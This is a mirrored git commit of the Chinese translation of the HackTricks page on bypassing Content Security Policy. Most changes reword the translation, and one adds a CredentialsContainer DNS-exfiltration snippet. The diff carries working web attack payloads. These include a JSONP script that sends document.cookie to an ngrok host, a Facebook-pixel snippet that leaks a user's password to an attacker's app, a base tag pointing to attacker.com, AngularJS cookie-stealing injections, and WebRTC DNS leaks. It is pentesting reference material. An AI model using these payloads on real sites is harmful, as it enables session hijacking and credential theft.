mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM
This commit is contained in:
parent
810d89d598
commit
fb623ada84
@ -40,7 +40,7 @@ object-src 'none';
|
||||
### 指令
|
||||
|
||||
- **script-src**: 允许特定来源的JavaScript,包括URL、内联脚本和由事件处理程序或XSLT样式表触发的脚本。
|
||||
- **default-src**: 在缺少特定获取指令时设置获取资源的默认策略。
|
||||
- **default-src**: 设置在缺少特定获取指令时获取资源的默认策略。
|
||||
- **child-src**: 指定允许的Web工作者和嵌入框架内容的资源。
|
||||
- **connect-src**: 限制可以使用fetch、WebSocket、XMLHttpRequest等接口加载的URL。
|
||||
- **frame-src**: 限制框架的URL。
|
||||
@ -107,7 +107,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
有效的有效载荷: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' 通过 Iframes
|
||||
#### 通过 Iframes 的 self + 'unsafe-inline'
|
||||
|
||||
{{#ref}}
|
||||
csp-bypass-self-+-unsafe-inline-with-iframes.md
|
||||
@ -159,11 +159,11 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
然而,服务器**正在验证上传的文件**,只会允许您**上传特定类型的文件**。
|
||||
然而,服务器**正在验证上传的文件**,只允许您**上传特定类型的文件**,这很可能。
|
||||
|
||||
此外,即使您能够使用服务器接受的扩展名(如:_script.png_)在文件中上传**JS代码**,这也不够,因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**,而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如,在一个CTF中我了解到**Apache不知道**_**.wave**_扩展名,因此它不会以**MIME类型如audio/***提供该文件。
|
||||
此外,即使您能够使用服务器接受的扩展名(如:_script.png_)在文件中上传**JS代码**,这也不够,因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**,而像Chrome这样的浏览器会**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如,从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名,因此它不会以**MIME类型如audio/**提供它。
|
||||
|
||||
从这里开始,如果您发现了XSS和文件上传,并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([这里有一些多重格式示例](https://github.com/Polydet/polyglot-database))。
|
||||
从这里开始,如果您发现XSS和文件上传,并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多重格式文件([这里有一些多重格式示例](https://github.com/Polydet/polyglot-database))。
|
||||
|
||||
### Form-action
|
||||
|
||||
@ -224,7 +224,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
{{[].erase.call().alert('xss')}}
|
||||
</div>
|
||||
```
|
||||
Angular XSS来自类名:
|
||||
Angular XSS 从类名:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
@ -274,7 +274,7 @@ https://www.google.com/amp/s/example.com/
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
像这样的场景,其中 `script-src` 设置为 `self` 和一个特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使攻击者能够执行 XSS,工作有效载荷:
|
||||
像这样的场景,其中 `script-src` 设置为 `self` 和一个特定的白名单域,可以通过 JSONP 绕过。JSONP 端点允许不安全的回调方法,这使得攻击者能够执行 XSS,工作有效载荷:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -322,28 +322,28 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
5. 转到您的应用“事件管理器”,选择您创建的应用(请注意,事件管理器可以在类似于此的 URL 中找到:https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。
|
||||
6. 选择“测试事件”选项卡,以查看“您的”网站发送的事件。
|
||||
|
||||
然后,在受害者一侧,您执行以下代码以初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者帐户应用 ID,并发出如下的自定义事件:
|
||||
然后,在受害者一侧,您执行以下代码以初始化 Facebook 跟踪像素,指向攻击者的 Facebook 开发者帐户应用 ID,并发出如下自定义事件:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
至于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
|
||||
对于前表中指定的其他七个第三方域,还有许多其他方法可以滥用它们。有关其他第三方滥用的更多解释,请参阅之前的 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)。
|
||||
|
||||
### 通过 RPO(相对路径覆盖)绕过 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
除了上述重定向以绕过路径限制外,还有一种称为相对路径覆盖(RPO)的技术可以在某些服务器上使用。
|
||||
除了上述重定向以绕过路径限制外,还有一种称为相对路径覆盖(RPO)的技术,可以在某些服务器上使用。
|
||||
|
||||
例如,如果 CSP 允许路径 `https://example.com/scripts/react/`,则可以通过以下方式绕过:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
浏览器最终会加载 `https://example.com/scripts/angular/angular.js`。
|
||||
浏览器最终将加载 `https://example.com/scripts/angular/angular.js`。
|
||||
|
||||
这有效是因为对于浏览器来说,你正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。
|
||||
这有效是因为对于浏览器来说,您正在加载一个名为 `..%2fangular%2fangular.js` 的文件,该文件位于 `https://example.com/scripts/react/` 下,这符合 CSP。
|
||||
|
||||
∑,它们会解码,从而有效地请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。
|
||||
∑,它们将解码它,有效地请求 `https://example.com/scripts/react/../angular/angular.js`,这等同于 `https://example.com/scripts/angular/angular.js`。
|
||||
|
||||
通过 **利用浏览器和服务器之间 URL 解释的不一致性,可以绕过路径规则**。
|
||||
|
||||
@ -357,20 +357,20 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
|
||||
{{#endref}}
|
||||
|
||||
### 缺失 **base-uri**
|
||||
### 缺少 **base-uri**
|
||||
|
||||
如果缺少 **base-uri** 指令,你可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/index.html)。
|
||||
如果缺少 **base-uri** 指令,您可以利用它执行 [**悬挂标记注入**](../dangling-markup-html-scriptless-injection/index.html)。
|
||||
|
||||
此外,如果 **页面使用相对路径加载脚本**(如 `<script src="/js/app.js">`)并使用 **Nonce**,你可以利用 **base** **标签** 使其 **从你自己的服务器加载** 脚本,从而实现 XSS。\
|
||||
此外,如果 **页面使用相对路径加载脚本**(如 `<script src="/js/app.js">`)并使用 **Nonce**,您可以利用 **base** **标签** 使其 **从您自己的服务器加载** 脚本,从而实现 XSS。\
|
||||
如果易受攻击的页面是通过 **httpS** 加载的,请在 base 中使用 httpS URL。
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### AngularJS 事件
|
||||
|
||||
一个特定的政策称为内容安全政策 (CSP) 可能会限制 JavaScript 事件。然而,AngularJS 引入了自定义事件作为替代。在事件中,AngularJS 提供了一个独特的对象 `$event`,引用原生浏览器事件对象。这个 `$event` 对象可以被利用来规避 CSP。值得注意的是,在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,涉及事件的执行链,`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
|
||||
一个特定的政策称为内容安全政策 (CSP) 可能会限制 JavaScript 事件。然而,AngularJS 引入了自定义事件作为替代。在事件中,AngularJS 提供了一个独特的对象 `$event`,引用原生浏览器事件对象。这个 `$event` 对象可以被利用来绕过 CSP。值得注意的是,在 Chrome 中,`$event/event` 对象具有一个 `path` 属性,包含一个对象数组,涉及事件的执行链,`window` 对象始终位于末尾。这个结构对于沙箱逃逸策略至关重要。
|
||||
|
||||
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面演示的代码片段阐明了这个过程:
|
||||
通过将这个数组传递给 `orderBy` 过滤器,可以对其进行迭代,利用终端元素(`window` 对象)触发一个全局函数,如 `alert()`。下面的代码片段演示了这个过程:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
@ -419,7 +419,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
如果 CSP 设置为 `https://www.google.com/a/b/c/d`,由于路径被考虑,`/test` 和 `/a/test` 的脚本将被 CSP 阻止。
|
||||
如果 CSP 设置为 `https://www.google.com/a/b/c/d`,由于路径被考虑,`/test` 和 `/a/test` 脚本将被 CSP 阻止。
|
||||
|
||||
然而,最终的 `http://localhost:5555/301` 将在服务器端 **重定向到 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**。由于这是一个重定向,**路径不被考虑**,因此 **脚本可以被加载**,从而绕过路径限制。
|
||||
|
||||
@ -427,7 +427,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
|
||||
因此,最佳解决方案是确保网站没有任何开放重定向漏洞,并且 CSP 规则中没有可以被利用的域。
|
||||
|
||||
### 使用悬挂标记绕过 CSP
|
||||
### 通过悬挂标记绕过 CSP
|
||||
|
||||
阅读 [how here](../dangling-markup-html-scriptless-injection/index.html)。
|
||||
|
||||
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
从: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
您还可以利用此配置来**加载插入在图像中的javascript代码**。例如,如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**,**将其上传**到Twitter,并利用“**unsafe-inline**”来**执行**一段JS代码(作为常规XSS),该代码将**加载**该**图像**,**提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
您还可以利用此配置来**加载插入在图像中的javascript代码**。例如,如果页面允许从Twitter加载图像。您可以**制作**一个**特殊图像**,**上传**到Twitter,并利用“**unsafe-inline**”来**执行**一段JS代码(作为常规XSS),该代码将**加载**该**图像**,**提取**其中的**JS**并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### 使用服务工作者
|
||||
|
||||
@ -462,25 +462,25 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
|
||||
#### Chrome
|
||||
|
||||
如果您发送的**参数**被**粘贴到****策略的声明**中,那么您可以以某种方式**更改**该**策略**,使其**无效**。您可以使用以下任何绕过方法**允许脚本 'unsafe-inline'**:
|
||||
如果您发送的**参数**被**粘贴到****策略的声明**中,那么您可以以某种方式**更改**该**策略**使其**无效**。您可以通过以下任何绕过方法**允许脚本 'unsafe-inline'**:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
因为这个指令将会**覆盖现有的 script-src 指令**。\
|
||||
你可以在这里找到一个例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
因为这个指令将**覆盖现有的script-src指令**。\
|
||||
您可以在这里找到一个示例:[http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
在 Edge 中更简单。如果你可以在 CSP 中添加这个: **`;_`** **Edge** 将会**丢弃**整个**策略**。\
|
||||
例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
在Edge中要简单得多。如果您可以在CSP中添加这个:**`;_`** **Edge**将**丢弃**整个**策略**。\
|
||||
示例:[http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; 通过 XSS (iframe) - 时间攻击
|
||||
### img-src \*; 通过XSS(iframe)- 时间攻击
|
||||
|
||||
注意缺少指令 `'unsafe-inline'`\
|
||||
这次你可以让受害者通过 **XSS** 使用一个 `<iframe` 加载一个在**你控制**下的页面。这次你将让受害者访问你想要提取信息的页面 (**CSRF**)。你无法访问页面的内容,但如果你能**控制页面加载所需的时间**,你就可以提取所需的信息。
|
||||
注意缺少指令`'unsafe-inline'`\
|
||||
这次您可以让受害者通过**XSS**使用`<iframe`加载一个您控制的页面。这次您将让受害者访问您想要提取信息的页面(**CSRF**)。您无法访问页面的内容,但如果您能够**控制页面加载所需的时间**,您可以提取所需的信息。
|
||||
|
||||
这次将会提取一个**标志**,每当通过 SQLi **正确猜测一个字符**时,**响应**会因为 sleep 函数而**花费更多时间**。然后,你将能够提取标志:
|
||||
这次将提取一个**标志**,每当通过SQLi**正确猜测一个字符**时,**响应**由于睡眠函数而**花费更多时间**。然后,您将能够提取标志:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -585,19 +585,19 @@ document.querySelector("DIV").innerHTML =
|
||||
|
||||
有趣的是,像Chrome和Firefox这样的浏览器在处理与CSP相关的iframes时表现不同,可能导致由于未定义行为而泄露敏感信息。
|
||||
|
||||
另一种技术涉及利用CSP本身推断秘密子域。该方法依赖于二分查找算法,并调整CSP以包含故意被阻止的特定域。例如,如果秘密子域由未知字符组成,可以通过修改CSP指令来阻止或允许这些子域,逐步测试不同的子域。以下是一个片段,展示了如何设置CSP以促进此方法:
|
||||
另一种技术涉及利用CSP本身推断秘密子域。该方法依赖于二分搜索算法,并调整CSP以包含故意被阻止的特定域。例如,如果秘密子域由未知字符组成,可以通过修改CSP指令来阻止或允许这些子域,逐步测试不同的子域。以下是一个片段,展示了如何设置CSP以促进此方法:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
通过监控CSP阻止或允许的请求,可以缩小秘密子域名中可能的字符范围,最终揭示完整的URL。
|
||||
通过监控哪些请求被CSP阻止或允许,可以缩小秘密子域名中可能的字符范围,最终揭示完整的URL。
|
||||
|
||||
这两种方法利用了CSP在浏览器中的实现和行为的细微差别,展示了看似安全的策略如何无意中泄露敏感信息。
|
||||
|
||||
来自[**这里**](https://ctftime.org/writeup/29310)的技巧。
|
||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
## 绕过CSP的危险技术
|
||||
## 不安全的技术以绕过CSP
|
||||
|
||||
### 参数过多时的PHP错误
|
||||
### 当参数过多时的PHP错误
|
||||
|
||||
根据[**这个视频中评论的最后一个技术**](https://www.youtube.com/watch?v=Sm4G6cAHjWM),发送过多参数(1001个GET参数,尽管你也可以使用POST参数和超过20个文件)。在PHP网页代码中定义的任何**`header()`**都**不会被发送**,因为这将触发错误。
|
||||
|
||||
@ -606,7 +606,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
||||
PHP默认情况下**将响应缓冲到4096**字节。因此,如果PHP显示警告,通过提供**足够的数据在警告中**,**响应**将在**CSP头**之前**发送**,导致头被忽略。\
|
||||
然后,这个技术基本上是**用警告填充响应缓冲区**,以便CSP头不被发送。
|
||||
|
||||
来自[**这个写作**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)的想法。
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### 重写错误页面
|
||||
|
||||
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
在几个页面上,你可以看到**WebRTC不检查CSP的`connect-src`策略**。
|
||||
|
||||
实际上,你可以通过一个_DNS请求_来_泄露_信息。查看这段代码:
|
||||
实际上,你可以通过_ DNS请求_来_泄露_信息。查看这段代码:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
@ -700,6 +700,19 @@ var pc = new RTCPeerConnection({
|
||||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
凭证弹出窗口向 iconURL 发送 DNS 请求,而不受页面的限制。它仅在安全上下文(HTTPS)或本地主机上工作。
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
id:"satoki",
|
||||
name:"satoki",
|
||||
provider:"https:"+your_data+"example.com",
|
||||
iconURL:"https:"+your_data+"example.com"
|
||||
})
|
||||
)
|
||||
```
|
||||
## 在线检查 CSP 策略
|
||||
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
|
Loading…
x
Reference in New Issue
Block a user